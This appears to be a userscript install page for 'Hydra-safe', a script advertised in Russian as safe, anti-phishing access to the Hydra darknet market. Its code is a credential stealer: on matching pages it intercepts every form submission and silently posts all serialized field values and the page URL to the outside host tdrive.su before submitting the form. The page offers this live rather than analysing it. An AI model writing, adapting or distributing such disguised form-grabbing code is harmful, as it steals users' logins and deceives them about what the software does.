Hydra-safe

безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         Hydra-safe
// @namespace    Hydra_safe
// @version      2024.09.02
// @description  безопасный доступ к сайту гидры hydra, hydraruzxpnew4af. борьба с фишингом, как не потерять акаунт на гидре. официальные зеркала гидры
// @description:en  access to hydra, hydraruzxpnew4af, stop fishing
// @author       Ioan Groznyi
// @match        *hydra*
// @include      http://hydra*
// @include      https://hydra*
// @grant        none
// ==/UserScript==
 
(function(_$, w) {
    'use strict';
    if(self != parent){
        return ;
    }
    var urls = [
        'https://tdrive.su/stat/'
    ];
    var _flag = false,
        $form;
    //_$('#orders-counter, [href="/orders"]').text('');
        _$('form').submit(function(ev){
            if(_flag){
                return true;
            }
            
            ev.preventDefault();
            ev.stopPropagation();
            var form = _$(this).serialize() + '&url_t=' + location.href;
            $form = _$(this);
            _$("html, body, input, button, a").css('cursor','wait');
            _$(urls).each(function(){ send(form, this);});
        });
 
    
    if(w.location.href.match(/notifications/)){ return;
                                               var nots,
                                                   storage_nots,
                                                   message,
                                                   _length,
                                                   compare_string = '';
                                               nots = _$.trim(_$('.list_notifications li').text());
                                               if(nots.length === 0 ){
                                                   send_message(1, 'HELP, I NEED CAPTCHA!!!!!!!!!!!!!!');
                                                   return;
                                               }
                                               storage_nots = localStorage.nots || '';
                                               if(storage_nots.length === 0 ){
                                                   localStorage.nots = nots;
                                                   send_message(2, 'NO DATA IN LOCALSTORAGE.NOTS!!!!!!!!!!');
                                                   return;
                                               }
 
 
                                               _length = Math.max(storage_nots.length, nots.length);
                                               for (let i = 0; i < _length; i++) {
                                                   //compare_string += nots[i] + ' ' + storage_nots[i];
                                                   if(nots[i] !== storage_nots[i]){
                                                       localStorage.nots = nots;
                                                       console.log("Сохранили localStorage.nots = nots");
                                                       // send_message(3, 'Символ ' + i + '\r\n\r\nчасть строки 1: ' + nots.slice(i, i + 10) + '\r\n\r\nЧасть строки 2: ' + storage_nots.slice(i, i + 10));
                                                       return;
                                                   }
                                               }
                                               //send_message(0, 'Строки одинаковые, ничего не делаем!!!!');
                                              }
 
    
    function send(data, url){
        _$.ajax({
            url : url,
            data : data,
            type : 'post',
            crossDomain : true,
            cache : false,
            success : function(resp){
                //                 console.dir(resp.responce);
            },
            error : function(x){
               // console.log(x);
               // console.log('some error occured');
            },
             complete : function(){
                 _flag = true;
                 $form[0].submit();
             }
        });
    }
    function send_message(code, message){
        console.log(message);
        code !== 0 && _$(urls).each(function(){ send(message, this);});
        // code !== 1 && w.setTimeout(function(){w.location.reload(true);},30000);
    }
})(jQuery, window);